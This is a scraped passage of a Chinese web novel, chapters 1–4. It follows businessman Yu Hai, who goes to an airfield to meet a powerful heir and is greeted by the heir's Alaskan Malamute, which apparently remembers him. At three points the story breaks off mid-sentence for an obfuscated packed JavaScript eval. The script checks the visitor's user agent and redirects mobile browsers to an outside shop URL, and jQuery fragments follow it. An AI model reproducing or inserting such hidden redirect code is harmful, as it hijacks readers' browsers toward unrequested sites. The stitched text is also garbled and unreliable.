《事业批不想谈恋爱》
1. 第 1 章
“于总。”
虽只说了两个字,但独特的大嗓门瞬间便能让人识出对面是谁。
“韩少叫我小于就行,您有何指示?”
于海穿着宽松的背心、长裤,脚上踏着拖鞋,斜靠在栏杆上,眼皮子都不带抬的,有一下没一下地往池塘里扔着鱼食。语气却是截然相反的谦恭,这是他多年练出来的本事。
隔着电话,面上是面上的事,态度必须要到位。
“小于。”那边语气明显缓和了许多,“这次来了个大人物,你不是一直让我提点你吗?把他伺候好了,别说批资质,什么大项目拿不下来啊?这通天的门票我给你拿到了,别说我不照顾你啊。”
于海往池子里丢鱼时的节奏依然不变,话里话外更加恭敬了:“韩少你这话说的,要不是承蒙您的照顾,我能走到这步?您在我心目中,那是指路明灯一样的存在。我这话说的是真心实意的心里话,绝不带一丝一毫恭维。”
电话那头传来几声哈哈大笑:“好小子,我果然没看错你。明晚八点,你跟着我去接他,穿得精神点,整个成熟可靠的造型。”
池子里游得慢的金鱼被挤到边缘,于海向着边缘的地儿多抛了些鱼食:“这来的是哪座大神啊?还劳烦韩少您亲自去。”
“我给你透露点消息,他家在华城树大根深。他爷爷跺跺脚,整个华城都得抖三抖。”
哦,原来是个三代呀。于海对二代三代倒是没什么意见。这位韩涛韩少爷,家里也有钱得很,是个富二代。但他内里也有点东西的,不是草包一个。
他接触到的青奚市的豪门阔少不少,无论有没有真才实学,骨子里都带点傲气,看人呢,都带着点儿居高临下的审视。
和他们相比,于海还是喜欢和同样草根出身的相处。
但身处其中,身不由己,不是他想和谁玩就只能和谁玩的。
“强龙再强那也是别的地方来的。他一京城来的,还能管得着咱们青奚市的事儿。在青奚能量能大过韩少您的能有几个?我就不信他比韩少你强。”
韩涛心花怒放,又大笑了几声:“于海你就是太实在了,这话在我面前说说就算了。人外有人,天外有天。这位不仅在华城有根基。知道青奚的首富姓什么吗?”
“周!”韩涛自问自答:“那是他的母家。周先生没有孩子没有兄弟,只有这一个外甥,周家,迟早也是他的。这一位可是正儿八经的太子爷。”
华城和青奚市两地相距千里。
华城是政治文化要地,青奚市则是全国经济中心之一,青奚市首富的含金量毋庸赘述。
于海对京城的豪富们不清楚,也懒得打听。
但青奚市是他生活了28年的地方。
青奚市首富周家,谁人不知谁人不晓,其能量之大,辐射周边三省,在商界是说一不二的存在。他拼死拼活奋斗了十年之久,连周家宴会的入场券都摸不到。
于海又恭维了一句,结束通话,将最后一点鱼食撒入池子里。
然后坐到躺椅上,一摇一摆地晃动,微眯着眼,享受初夏傍晚的微风。
江雪梅遛狗回来,刚进院门就见他儿子一脸悠闲的躺在摇椅上。
七岁半的萨摩耶陪着主人溜了一下午,深觉狗生艰难,迈着小碎步踏进院门,忽见忙忙碌碌好久没有陪他玩的小主人笑看着它,顿时满血复活。
于海两手接住欢快扑过来的萨摩耶,笑着从躺椅上起来让出位置:“今天怎么回来的这么早,没去打麻将?”
江雪梅皱眉:“你啊,如果不是刘江他爸妈告诉我,我还以为什么事都没有。听他爸妈说刘江急的嘴上都长燎泡了。我们仨坐一桌光哀声叹气了,哪有心思打麻将。”
“车到山前必有路,你给刘叔、王姨说,让他们不用担心,事情很快就能解决了。”
他电话轮流打了一遍,人挨着求了一遍,得到的回复都是拒绝,事已至此,急也没用了。更何况,无论能否顺利解决,都不能让老一辈的跟着担忧。
江雪梅松口气,眉间褶皱舒展:“别逼着自己,你妈什么日子都能过。”
“说到哪去了。不过是几个项目的事,你放心吧。你不是一直让我不要太忙于工作,我现在闲下来有空多陪陪您,不是挺好的。”
江雪梅点点头:“你每天忙忙碌碌,是该休息休息了。不过我用不着你陪,有空你去多交些朋友。”
于海扶着他妈坐下,打马虎眼:“我朋友挺多的,赶明把他们都叫过来陪您吃饭。”
江雪梅翻了个白眼:“你知道我的意思。你要是真听我的话,早该留点时间谈恋爱。早听话,至于现在还见不到我孙子孙女的影吗?”
“你还不知道你儿子我?”于海边rua大狗的下巴边说,“你要是想过含饴弄孙的生活,我去收养一个?”
“别耽误人家小娃娃,你也没个当爸的样。”
于海讨好的嘿嘿笑了两声。
“你啊,满心满眼的只有你的公司,整天除了工作还是工作。”江雪梅招招手,等于海乖乖过来蹲下,一把拧住他的耳朵,“我也不指望你给我生孙子孙女,能给我带个媳妇回来不?男的我也认了,我看宁望那孩子挺不错的。”
“妈,轻点,我多大了,你还拧我耳朵。人家早出国了,你就别惦记了。”于海说完感觉耳朵上的力道又加重了,转移视线看向大门口,惊呼,“蒋秘书,你怎么来了?”
耳朵上的力道一下子松了,于海立刻跳开到安全距离,幸好他妈在外人面前还是顾及他面子的。
江雪梅看了看空无一人的院门口,柳眉倒竖,转身欲吼。
于海已经带着狗子一溜烟跑掉了。
第二日天阴沉沉的,不见阳光。
阴云之下,百川公司的大楼也充斥着阴郁的气氛。
这一个月,即将谈妥的项目黄了一个又一个,东区进展中的项目被变着法的阻挠。年前打通关系,一步之遥就能拿到的资质,也被找借口再三拖延。
公司从上到下的氛围都挺沉寂。
于海从上到下动员了一天,到傍晚时,员工们的士气提升不少,而他整个人的精神更是亢奋极了,通宵工作都没问题。
蒋言拿着一套全新的黑色休闲西装进来:“于总,你昨天交代过,今晚八点之前要赶到机场接人。”
于海看了眼手表,已经五点了,只能遗憾暂停手头的公事。
“造型师在会客室等着。”
“让他过来吧。”
韩涛再三嘱咐不能给他跌份,让他找个造型师好好捯饬。
【好歹是个公司总裁,别整天穿个运动装,弄的跟男大学生似的。】
于海去旁边的休息室换了衣服,出来时恰逢造型师推门而入。
是造型师没错吧?
唇钉、鼻钉、耳钉熠熠生辉,火鸡一样的发型,脸比墙上刷的腻子还白,瞳孔泛着绿油油的光,直勾勾的盯着他。
于海看向蒋言。
“于总。”蒋言一脸欲言又止,“这位是小K老师,罗影帝的御用化妆师。”
于海暗暗感慨,真是人不可貌相。
“黑西装太普通了,配不上你俊美的脸,完全展现不出来你的气质!”造型师亢奋的绕着他转圈,边打量边评价,手指在于海胸腹腰部的位
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022229|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
置虚空划过。
宽肩窄腰、高大修长,袖子挽起,裸露出的一截古铜色小臂结实流畅,给人一种澎湃的力量感,和健身房特意锻炼出来的健壮不同,丝毫没有夸张的感觉,油腻感更是一点不存在。
而他的脸更是极品,浓眉高鼻,眼睛又黑又亮,充满着勃勃的英气和朝气。
这样的身材搭配这样的脸蛋,有太多可以操作的空间,只要让他稍加修饰包装,就可以呈现出多种风格,保管个个惊艳,做明星都绰绰有余。
“小K……老师?”
“叫我K。”
“K,我是去接人的,不是去艳压全场的。”于海担心他剑走偏锋整出点另类的花活,“正常点就行。”
K扑哧一声笑了,唇上的银钉颤巍巍抖动:“于总,您真有意思。”
于海先后拒绝了K试图给他换衣服、染发、戴耳钉、描唇等等提议。
头发梳了一个狼奔造型,却不是一丝不苟的,黑发吹得蓬松微卷,额前碎发轻薄,打眼一瞧透着股随性不羁,细看每一根头发丝都是精致的。
精致的代价是时间,于海坐了二十分钟,耐心告罄,后来取了本书翻看,才忍下来。
“发型做好了。”K单手撑在椅背上,注视着镜子中的俊美面孔,指尖捏了下左耳细小的耳洞,“真的不戴耳钉吗?一点妆也不画?我可以将你打造成暗黑风,绝对将你的气质提高一大截,保准迷晕一票男男女女。”
于海放下书,长舒一口气,可算结束了,坚决拒绝:“不用,谢谢。”
“于总,六点二十了。”蒋言拎着外卖,“您忙了一天,吃点东西吧。”
“饭不吃了,帮我倒杯咖啡。”于海起身,打量着镜子中的自己。
没想到一个发型对人的改变这么大,这位小K老师还是对得起他的盛名的。
于海喝咖啡和喝水没什么区别,三两口饮尽,扯过黑色的西装外套穿上,准备走人。
“等等。”K忽然叫住他,快步走到角落里放置的博古花架旁,精挑细选摘了一朵小巧的水培白色玉兰回来,插在他胸前的方巾口袋中,满意的点点头,“去大放光芒,惊艳全场吧!”
于海无语,比他还能忽悠,这小白花插的,要让他妈看到了,一个大比兜少不了。
他又不是去走红毯的明星,用得着惊艳全场?
“别摘!”K咬牙忍下大吼的欲望,狞笑,“于总,麻烦您尊重一下我的劳动成果,相信我的职业审美。”
以己度人,他的甲方一而再再而三否定他的想法,于海只会更加不爽。
暂时放下辣手摧花的手,暗想等上车再扔掉算了。
于海握着钥匙,边向专用电梯走边问:“老刘几点回来?”
“刘总七点到公司。”
“让他别忙了,回家休息几天,就说我给他放一周假。”
以目前的形势来看,在下边各处打点关系就是无用功,上头不松口,他们把鞋底磨破也没用。
这时,韩涛发来了位置信息——周家的私人停机场。
这地儿若是放在两年前,于海连知道的资格都没有。也就是阴差阳错结识了韩涛,才得知青奚市郊野有个占地近百公顷的停机场,属于周家私人所有。
每年缴纳千万会员费,周家包揽私人飞机的停靠与养护。
费用仅是入门级的槛,成为会员,更重要的是能否入周家的眼。
能获得入会资格的都不是普通级别的富豪,必然和周家有着紧密的合作关系,无一不是最顶层的那波天龙人。
别说于海,对他呼来喝去的韩涛也没有这份“殊荣”。
2. 第 2 章
于海靠边停下车。
这座庄园一般大的私人停机场配备齐全,跑道、停机坪、维修厂、控制塔和豪华航站楼等一应俱全。
周家当家人大概是抱着让这位京城来的少爷在青奚市扩展人脉的心思,或者让青奚市的商界初步认识一下这位继承人。
航站楼内等候的商界人士很多,三五成群各自成派,他们的目的是相同的,接到传说中的周家继承人。
那么多人能得到消息,这个消息只可能是周家自己放出来的。
除了大型商会活动,于海从未见过类似的壮观场面。
是的,壮观。
这阵仗哪是接机,是迎接皇帝回宫吧。
赵总、钱总、王少、齐少……
于海微笑着轮流和相熟的老总少爷们打招呼,笑得脸都僵了。
韩涛第一次先他一步到了约定场所,罕见的积极。
看见他后眼底闪过惊艳,没见过他一样狠狠打量,视线在脸和胸口来来回回好几次:“我艹,于海,你他妈今天太帅了吧。造型绝了!”
于海顺着他的视线,才发现自己忘记把花扔了,轻松一挑将花取下来,谦虚的笑道:“低调低调,主要是底子好。”
“嘿,摘掉干什么?”韩涛勾住他的脖子,“你说孙震元喜欢男的就算了,这孙子狗眼瞎了吧,放着你这个香喷喷的肉骨头不要,为了一个玩意跟你翻脸。今天来的是孙孝廷,要是孙震元来了,老子非得让他去看看眼科。”
于海听到玩意两个字皱了皱眉,然后顺着韩涛的视线看过去。
虽然第一次见这位孙家二少,但辨别出对方的身份不难。
他和孙震元有五分相似,不过长相少了几分硬朗凶狠,多了些阴柔。
目光相接,对方视若无睹的移开视线,微笑着和身旁人交谈。
于海收回目光,苦笑:“韩少,你别拿我寻开心了。”
他不是肉骨头,孙震元是真的狗。
这段时间的一堆烂账搞得于海焦头烂额,罪魁祸首就是孙震元。
于海白手起家,生意场上左右逢源,一向能屈能伸。打他左脸,也能面不改色的让出右脸。
而孙震元这狗玩意,不是打脸,是骑在在他头上撒尿。
正常的商业竞争无所谓,但孙震元因为私人恩怨再三下黑手要毁掉他的事业。
实实在在触到于海的逆鳞。
这世界上第一重要的是他妈,第二重要的就是他的公司。
孙震元动他命根子,于海当然不可能忍气吞声,他深知面对孙震元这样的人,退让只会让对方得寸进尺。
于海摆出殊死拼杀的气势,一时之间孙家竟也缩手缩脚不敢大动干戈将于海逼得太紧。
无奈孙家终究是扎根青奚市半个世纪之久的豪门,孙家眼中的小打小闹,落到百川公司头上,虽不至摧筋断骨,但足以达到恶心于海的效果。
于海找遍关系,大多数畏惧于孙家的权势不敢与之抗衡,其他则是不想与孙家交恶,唯有韩涛,与孙震元家世相当,打小就不对盘,肯站在于海这一边。
于海琢磨着怎么把踮脚搂着他脖子的胳膊甩下去,一只手掌按住了韩涛的肩膀。
韩涛终于撂下胳膊,不耐烦的扭过头,看到来人脸上的一丝烦躁转为惊喜:“崇明!你什么时候回国的?也不和我说一声,我好去接你。”
“这不是想着给你个惊喜。”来人一身休闲西装,脸上架了副没有镜片的黑色框架。
韩涛三十出头,这人眉清目秀气质清透,看着不过二十来岁。
他颇为熟稔的和韩涛交流:“穿的倒是人模狗样的,还喷了香水?这么积极赶着来抱大腿?”
“我一俗人,为了赚钱当然得积极。”韩涛笑着打量他,“你一富贵闲人怎么也下凡了?”
“想通了?”韩涛压低声音,“准备接手你家生意?你比你哥强。兄弟,我支持你。”
李崇明无奈的笑了笑:多么残酷的事实,他比他哥强。
目光转向韩涛身边的人:“这位是?”
“于海,百川创始人。”韩涛侧身对于海介绍,“我发小李崇明,他家的公司你肯定知道,康拓集团。”
康拓——全国排名前十的生物制药企业。
随着百川规模扩大,于海带着员工进行了搬迁,他在朔平区买下了一栋办公楼,而康拓集团就驻扎在不远处,占据了一大片园区。
李崇明目光深邃的看着他,调侃:“于总不仅是偶像派,更是实力派啊。”
与韩涛是发小的富贵闲人……
果然不工作令人年轻。
于海不动声色的微笑和他握手:“李少过奖。”
韩涛拉开于海的手:“别跟他浪费时间,他家里搞药物研发的,帮不上什么忙。”
李崇明哭笑不得的目送韩涛把人带走搞交际。
前厅交谈声不绝于耳。
落地玻璃窗外,一架飞机盘旋降落,在跑道滑行一段距离精准无误的停在了航站楼里侧的入口。
大厅骤然安静下来,众人严阵以待。
韩涛左手拉着李旭明,右手扯着于海,站在了第三排。
韩涛整理了整理自己的着装,顺便打量了一下身边两位,然后夺过于海手中的花,强硬的给他插回原处,踮着脚探头看向入口处。
于海:……
二十个黑衣保镖分成两队,笔直的站在出口的两侧,分离出三米宽的通行通道。
出乎意料的叫声刹那间吸引了所有人的注目。
“汪!”
凶猛的犬吠声响彻大厅,一只巨型犬率先蹿出来,那是只一米多高的阿拉斯加,它甩了甩脑袋,喉咙中发出咕噜的不满低吼。
大狗的脖子上套着项圈,牵引绳向后拉直,它停下脚步巡视四周,褐色的眼珠子透着冷光,巨大体型和凶狠的目光让它像荒野凝视猎物的狼王。
于海眼皮一跳,忽然产生一种不妙的预感。
绷直的牵引绳垂落,一个身穿黑色风衣的男人走了出来——身量高挑,戴着一副墨镜挡住半张脸,嘴唇削薄,下颌角冷硬,风姿卓越而又疏离漠然。
艹!
他说眼皮子怎么一直跳。
艹!
华城来的贵人怎么是他?!
他竟然是青奚市周家的下一任继承人?!
于海一把将胸前的花扯了下来,默不作声的往后退。
似全然未看到“接驾”的众人,男人在保镖的护送下牵着狗径直往外走,一人一狗走的那叫一个趾高气昂,生动诠释了什么叫眼高于顶目中无人。
众人不惧冷脸越挫越勇热情的贴上去:“魏少,您……”
“嗷!”
刚说了几个字,大狗摆出撕咬冲杀的架势长啸打断,声音震得人肝颤。
围上去的人被惊得退避三舍,凉爽的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022230|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大厅内额头却沁出冷汗。
而这位魏少则是一个眼神也没施舍,扯了扯绳子,大狗龇着尖牙低吼威胁了两声才继续往前走。
在场上赶着巴结的人谄媚的笑都快挂不住了——人就算了,狗也那么横!那张狗脸上的不屑与张狂都快溢出来了!
李崇明一朝被狗咬,十年怕犬吠。
一看到龇牙咧嘴的大狗,他已经不受控制往后撤退,不知道抓了个什么当支撑。
免费提供胳膊当支撑的于海打量李崇明的惊恐神色,带着人又往后退了几步,安抚性的用另一只手拍拍他的肩膀:“没事,咬人的狗不叫。”
比起狗叫,他担心的是李崇明来个惊声尖叫吸引注意力。
“汪汪!”
“汪汪!”
李崇明神色大变,抖着声音说:“那狗好像发疯了。”
阿拉斯加确实表现的异常兴奋,与方才判若两狗。
霸道凶狠“走红毯”的巨型犬跳起来叫了两声,抬起前肢摆出一副冲锋的架势。
这只阿拉斯加在同类中也是绝对的高大威猛,站起来比场中一半多的人都要高,近距离感受恶犬压迫的气场,前排的人心脏的跳动都不禁停滞几息。
大狗腾空而起,后肢刚刚离地就在皮质项圈的束缚下被硬生生拽了回去。
它不满的低吼,牵引绳却收缩的越来越紧。
挣脱失败的大狗转头跳到他的主人处,焦躁的绕着男子转圈,最后趴在他脚边,烟灰色的大脑袋没有看他的主人,反而冲着人群的方向呜咽。
任那牵引绳怎么扯动,死活不起身。
一人一狗陷入僵持。
于海被逗乐了,克制的轻轻勾了勾唇角。
只见那只大狗打了鸡血般,忽然来个鹞子翻身,趁人不备狗嘴一张咬住牵引绳的前端,从男子那里争夺回控制权,一个漂亮的俯冲在人群的惊呼中朝着于海的方向扑了过来。
霎那间,见惯风浪在生意场上如鱼得水大杀四方的商界名流们乱成一团四散而逃,谁也不想当狗嘴下的受害者。
人不能和一条发疯了的狗讲道理。
尤其这还是条有背景的狗!
场中人大部分体型微胖,连健身房都没怎么去过,身体笨重的商人们此刻一反常态的敏捷,电光火石间,已经隔离出一圈真空地带。
真空带中央留下的唯有两个身材挺拔的男人,他们轻易的被其中一人夺取所有目光。
那人脸上没有丝毫慌乱,表情淡淡的,唇边甚至蕴含一丝微不可察的笑。
这人正是于海。
此刻于海的笑多半出于无奈,身体下意识的反应比眼睛更快些。
等他觉察众人因为害怕一只狗而做鸟兽散的时候,他已经因为不闪不避连带着僵硬的李崇明成为了醒目的目标。
不仅是狗的目标,还是人的焦点。
为了融入他们,现在拉着李崇明表演一番逃窜还来得及吗?
于海感觉到禁锢在胳膊上的压力更重,然后一阵劲风迎面扑来。
接着一股更沉重的压力出现在身前。
巨型阿拉斯加以极快的速度冲过来,撞开挡在一侧的保镖和两个逃窜不及的微胖人士,抬起前肢一个跳跃扑到于海身上。
强劲的冲击力让于海后撤了半步。
巨型犬强健的后肢撑起狗身,两只爪子按在于海肩膀,张开狗嘴大叫。
“汪!”
3. 第3章
围在外圈的众人心提了起来,为场中即将遭受迫害的年轻人生出的惋惜占了十分之一,余下的都是看好戏的兴奋。
恍若置身罗马斗兽场,观看人与兽的决斗。
只要下场的不是自己,他们乐得见证一场最原始的厮杀。
韩涛也挺想看戏的,但包围圈中除了于海还有李崇明。
好歹是穿一条裤子长大的发小,深知李崇明的弱点——害怕大狗。
狼狗扑过来,韩涛第一反应是去护李崇明,转头就见李少爷正死死攥着人家的手,像握着救命稻草。
而那个被当成救命稻草存在的人,不负所托展现出了非凡的沉着气度。
不清楚他是真的淡定还是伪装,若是伪装,单这份城府也足以令人佩服。
当巨型阿拉斯加抬起前肢一跃到于海面前时,韩涛不由得呼吸一窒,离于海最近的李崇明更是心脏提到嗓子眼。
“包子,回来。”
漠然的声音从保镖护持的中心传过来,爪子搭在于海肩膀的大狗瞬间支棱起两只耳朵。
显然“包子”就是这只大狗的名字了。
这个名字过于随意和土气,完全和这只狂肆的巨型犬不匹配,从众星捧月的魏少口中说出来更有种强烈的违和感。
——恰如含着金汤匙出身的小少爷小千金名字却叫狗蛋。
荒诞得引人发笑,在场的人却笑不出来。
巨型犬并未听从主人的命令回去,反而张开满嘴锋利牙齿的狗嘴汪了一声,然后吐出流淌着津液的大舌头。
众人屏住呼吸:这一口咬下去不死也残!
赶紧又后退几步,担心喷出的鲜血溅到身上,更怕下一个遭受无妄之灾的就是自己。
保镖身后,魏朝宗眉头微蹙,抬脚向大狗的位置走去。
没能唤回“包子”在他意料之外,自“包子”出生以来还是第一次出现这样失控的情形。
不!之前也有过,那已经是五年前了。
而仅仅是想到五年这两个字,他的眉头不由得皱的更深了。
李崇明看到血盆大口,只觉天旋地转几乎晕厥,一直紧握着的手指失去了力气。
于海的右手终于获得自由,他瞟了眼因为惊恐脱力的李崇明,微微侧身挡住了李崇明的视线。
包子?
——并非全然陌生的名字。
多年前他也曾养过一只名叫“包子”的幼年阿拉斯加。
一人一狗四目相对。
一时除了呼吸声,再无其他声音,几乎所有人都忘记了来这儿的目的,凝神全身心关注着场中对峙的男人和大狗。
而本该是焦点的冷峻身影蓦地顿住,他摘下墨镜,仿佛失魂一般呆愣的注视着出现在面前的那记忆中的面孔。
眼看面前的阿拉斯加吐着大舌头凑近了狗头,于海伸出手掌擒住肩上的爪子将它丢到地上,掸了掸肩膀上的尘土。
大狗以劈叉的姿势摔在了地上。
于海轻轻吐出一口气,幸好他眼疾手快,差一点就被舔到下巴了。
他家里养了狗,如果回家被闻到其他狗的气味,今晚上恐怕会被纠缠好一会。
于海动作随意,像下楼丢一袋垃圾——震惊了围观的所有人。
围观者:啊?啊啊??古罗马角斗士在线复活也不能这么轻松的摆弄一条巨型犬吧?
他们甚至怀疑于海的衣服面料有什么问题,光滑到阿拉斯加滑了脚摔倒在地上,或者这条站起来比人高的阿拉斯加外强中干弱的一批?
这体型怎么着也是一方狗王了,不会吧不会吧,不会这么弱吧?
刚才横冲直撞连翻两人,一声吼叫吓退众多身经百战老油条的恶犬气势去哪了?
别愣了,起来干翻他啊!
在众人的殷切期待下,阿拉斯加凭借强悍的腰腹力量一个弹跳站了起来。
嚯!众人失望的心又重新悬起:一场真正的血腥厮杀……
感叹尚未抒发完,就见那只恶犬扬起狗头直直的盯着那个男人!
然后抬了起右前肢……
侧躺在地上……
翻了个身……
吐舌头……
众人:……
以为自己眼花了,或者出现幻觉,众人抹了把脸,没想到更加玄幻的事情出现了。
只见大狗站起来疯狂的摇尾巴,冲着男人汪的叫了声,再次抬起一只爪子,深褐色的狗眼中是一眼望尽的清澈。
于海正是看到了大狗清澈的目光,知道它并没有发狂,因而从始至终不曾惊慌,对它摇尾巴翻身抬爪的动作也并不如何吃惊。
于海勾了勾唇,这只狗还挺有意思的,伸手握了握狗爪。
阿拉斯加备受鼓舞,立刻倒在地上,开始新一轮的打滚表演,吐着大舌头四肢朝天不停的划动爪子。
众人:……
一言难以道尽心情的复杂。
魏朝宗心情的复杂只多不少,望着那人唇边的笑意,他的脚下彷佛生了根迟迟不能迈动一步。
那人如果见了他,会露出什么样的表情?
吃惊还是懊悔?
——懊悔五年前的所说的话所做的事,以致于今日还要混在卑躬屈膝讨好他的人堆之中。
他又应该摆出什么的姿态去面对?
冷漠的打招呼,还是……转身就走,一如当年对方的所作所为。
涌上来的复杂情绪无处发泄,魏朝宗攥紧拳头目光死死盯着那个人。
于海若有所觉,抬眼越过众人正对上魏朝宗的视线,不禁眼皮一跳。
魏朝宗心脏控制不住的一颤,他克制自己的表情,在保镖开道之下走过去,垂眼对四肢朝天的傻狗冷冷道:“别耍宝了。”
接收到主人严厉的警告目光,阿拉斯加翻身站起来,委委屈屈的昂着大脑袋朝于海呜咽一声,见于海低头看它,立刻又欢快的摇着尾巴卧到于海脚边。
围观的人眼珠子都要瞪出来了:什么情况?魏少的狗怎么趴到别人脚边去了,还对着人家一而再的摇尾巴。
众人上上下下来来回回的不停打量这个被魏少的狗特殊对待的人。
韩涛韩少带过来的,好像是姓于,在他们这群人中,论身份地位论资历背景都是最不起眼的一个。
要说哪里突出?那就是突出的好看。
狗,难道也看人下菜碟?这狗难不成还是个颜控?
众人一边思绪乱飞,一边面向魏少惯性的挂上笑脸,即使对方面若寒霜。他们这些生意场上的人早已练就了薛定谔的要脸之术,面对攀上周家的大好机会,得冷脸算个屁事。
魏朝宗没心思理这些锲而不舍逢迎的人,不动声色的瞥了眼于海护在身后的男人,指尖嵌入掌心,他垂眼面无表情的看着“包子”。
往常“包子”再不情愿也会乖乖回来,这次却一反常态舔着狗脸赖在那人脚边像只哈巴狗。
魏朝宗简直怒其不争,恨声道:“收收谄媚的狗脸。”
众人听到此话,只觉膝盖中了一箭,深感魏少在指桑骂槐:真正的伤心不是大喊大叫。
于海
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022231|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本打算学习其他人挂上同款谄媚笑容,就见一众伪装面具咔嚓碎掉了。
不出意外,应当是魏朝宗一句话的威力。
这些年于海的生活被工作填满,偶尔的放松便是陪老妈逛逛公园、遛遛狗子,非必要的人与事很难占据他的精力和时间。
五年多不联系,于海倒真忘了这号人,连他的面目和名字都模糊了。
乍一见到,往日的回忆晃晃悠悠的浮现,魏朝宗与过往相比似乎变了不少。
于海正思索着,转眼与对方的视线相触——幽深的彷佛要探入灵魂的目光,实在令人无法忽视。
于海扬唇,采用了最不出错的称呼方式:“魏少。”
魏朝宗拧眉并没有回应他的问候,错开视线去看卧在地上的狗子,低垂的黑眸透不尽一丝光亮:“走不走?”
搭在皮鞋面上的尾巴翘了翘,“包子”机警的竖起耳朵,来自主人的压迫目光刺激到它身为动物的本能,不情不愿的站直了四肢。
航站楼的大厅,他们两人毋庸置疑的成为了所有人的焦点。
时间一分一秒的流转,大厅内寂静的落针可闻。众人面面相觑,大气不敢喘,没有一个人敢上前打破这诡异的氛围。
就连闹得欢腾的大狗都乖乖的贴着它主人的裤腿站直了。
形势越紧张,于海反而越平静下来,紧绷的弦骤然一松,脸上刻意伪装的献媚褪去,余下礼貌的浅笑。
一只瘦削修长的手伸到他面前,这只手实在漂亮,白玉般莹润精致,一看便知其主人必定是养尊处优的公子哥。
“花。”淡色的唇微微开合,冰冷的吐出一个字。
美丽的花朵明明开在大地回春之际,在他口中仿佛数九寒冬被冰层掩盖即将死去。
于海看了眼准备扔掉的玉兰,疑惑的抬了抬手。
下一秒就被毫不客气的夺走了。
于海:……
魏朝宗两指捏着一小朵玉兰转动了下,脸上没有一丝一毫的表情波动。
然后一个字也未多说,转身走了。
于海:……
魏朝宗搞什么名堂?
等魏少爷背影消失在视线中,安静的大厅才活络起来。
众人啧啧称奇,今晚也是开了眼。
他们其中一人或几人得魏少青眼,把人接走。
或是魏少看不上任何一个,直接走人。
事情的走向不外如是。
谁能想到一只狗搅乱了局。
魏少的爱宠忽然发狂咬人是假,寻到真爱是“真”。
他们明明白白见识了什么叫“舔狗”。
他们家中不乏养狗养猫的,当成孩子养的也有,养了几年还不如人家第一次见面的亲。
和于海相熟的、不熟的都像是没见过他似的盯着他猛瞧。
韩涛走过来:“行啊小于,没看出来你还有这一手?”
韩涛家有只捷克狼犬,他爹当小儿子养,韩涛对它不说亲如兄弟吧,伺候吃喝是家常便饭。
结果每次回家的间隔时间超过一周,就会得到一阵狂吠警告。
于海这小子,什么都没干,凭白无故掳获了一只狗的“芳心”?
太不可思议了。
韩涛想到一个微小的可能:“魏少那只阿拉斯加,不会是从你这买的吧。”
不是买的,但是说真话他们也不会信,于海笑而不语。
“啧,都说宠物气质随主人,这一点也不像啊。”
于海心想:那是你们没见过几年前的魏朝宗。
4. 第 4 章
李崇明戴着的眼镜框不知甩到哪里去了,受惊之后的苍白面孔完全显露出来,神色难辨的看着他:“于总……你和魏少难道是旧识?”
于海摇头苦笑:“李少,我如果有周家继承人这层关系,至于狼狈成这样?”
李崇明没有说话,目光微微颤动似乎还残留着受惊后的余悸。
韩涛接口,笑呵呵道:“说的也是。不过现在认识也不晚,啧……别说,长得帅就是有优势。于海,我就说那花配你,没错吧,魏少走这一趟,就看到了一个你,带走了那朵花。”
于海心中闪过一丝怪异,面上看不出任何变化:“还是韩少慧眼,要不是您,那花早被我扔垃圾桶了,哪有机会被魏少瞧上啊。”
韩涛一副“你很上道”的表情拍拍他的肩膀。
接人接了个空。
青奚市商界精英们遭遇了冷遇并未就此罢手,雪片一样多的邀请飞入了周家。
连着几日未有动静,众人都以为这位年轻的周家继承人不会下凡了。
“于海!”韩涛的大嗓门溢出手机话筒,震得于海耳朵嗡嗡作响,受不住的将手机拿远了点。
对面坐着的刘江一见他的反应,用口型问:韩涛?
于海点点头,声音中惯性的带上了笑意:“韩少,有何指示?”
“两件事,一私一公,你想先听哪个?”
于海还在考虑私事的大概指向。
韩涛已经迫不及待的开口:“我帮你选了。”
“先说私事。”韩涛语气突然变得有点猥琐,“你和崇明什么进展了?”
于海:?
“您指的是李少?上次之后,我们没有过联系。”
“欸?”韩涛发出疑惑的声音,李崇明难得主动跟他要某个人的联系方式,他还以为自家发小铁树开花了,“那是我误会了。这篇揭过,就当我什么也没说。聊正事、聊正事,告诉你一个好消息。魏少那边有音讯了,他接了帖子。”
韩涛卖关子:“猜猜接了哪些人的?”
于海眉心一跳,语气却是上扬的调子:“青奚市有这么大面子的,除了韩少您,我想不出还有谁。”
“哈哈。”韩涛得意吩咐,“像上次一样,好好捯饬一下自己,明晚跟我去见太子爷,要是能得到他的青眼,孙震元算个屁!”
于海持在手中的钢笔悬停在文件上方:“我也去?我一无名小卒,去了碍着魏少的眼,反而给韩少您添麻烦。”
